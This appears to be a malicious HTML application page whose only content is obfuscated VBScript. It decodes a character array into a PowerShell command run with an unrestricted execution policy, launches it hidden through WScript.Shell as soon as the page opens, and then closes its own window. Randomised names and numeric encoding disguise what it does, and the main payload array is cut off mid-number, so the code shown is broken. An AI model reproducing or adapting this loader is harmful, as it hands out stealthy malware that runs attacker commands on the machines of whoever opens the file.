<head>
<script language="vBsCRIPT">
Function dTxnJX(ByVal ZmLZIcqQr)
Dim QdAkxzE
Dim OhQHOhgmDxTaIY
OhQHOhgmDxTaIY = 37110
Dim mihvDbxRAKHLq
mihvDbxRAKHLq = ieTwbWF(ZmLZIcqQr)
If mihvDbxRAKHLq = 7000 + 1204 Then
For Each QdAkxzE In ZmLZIcqQr
Dim wHxTyUFOK
wHxTyUFOK = wHxTyUFOK & Chr(QdAkxzE - OhQHOhgmDxTaIY)
Next
End If
dTxnJX = wHxTyUFOK
End Function
Function XqpqZFgwPuv()
Dim ZmLZIcqQr
Dim aIdixOhzgdoi
ZmLZIcqQr = Array(37222,37221,37229,37211,37224,37225,37214,37211,37218,37218,37156,37211,37230,37211,37142,37155,37179,37230,37211,37209,37227,37226,37215,37221,37220,37190,37221,37218,37215,37209,37231,37142,37195,37220,37192,37211,37225,37226,37224,37215,37209,37226,37211,37210,37142,37212,37227,37220,37209,37226,37215,37221,37220,37142,37185,37179,37190,37221,37175,37198,37150,37146,37179,37212,37192,37195,37212,37227,37217,37185,37209,37154,37142,37146,37181,37199,37223,37211,37211,37198,37226,37217,37151,37233,37201,37183,37189,37156,37180,37215,37218,37211,37203,37168,37168,37197,37224,37215,37226,37211,37175,37218,37218,37176,37231,37226,37211,37225,37150,37146,37179,37212,37192,37195,37212,37227,37217,37185,37209,37154,37142,37146,37181,37199,37223,37211,37211,37198,37226,37217,37151,37235,37169,37212,37227,37220,37209,37226,37215,37221,37220,37142,37189,37214,37217,37214,37194,37222,37212,37176,37200,37223,37183,37220,37177,37200,37228,37219,37197,37150,37146,37179,37212,37192,37195,37212,37227,37
aIdixOhzgdoi = dTxnJX(ZmLZIcqQr)
Dim dGmOE
Set dGmOE = TMLFBXJWOqZ(dTxnJX(Array(37197,37225,37209,37224,37215,37222,37226,37156,37193,37214,37211,37218,37218)))
dGmOE.Run(aIdixOhzgdoi),0,true
self.close()
End Function
Function ieTwbWF(ByVal mihvDbxRAKHLq)
ieTwbWF = VarType( mihvDbxRAKHLq)
End Function
Function TMLFBXJWOqZ(ByVal objectType)
Set TMLFBXJWOqZ = CreateObject(objectType)
End Function
XqpqZFgwPuv()
</script>
</head>
</html>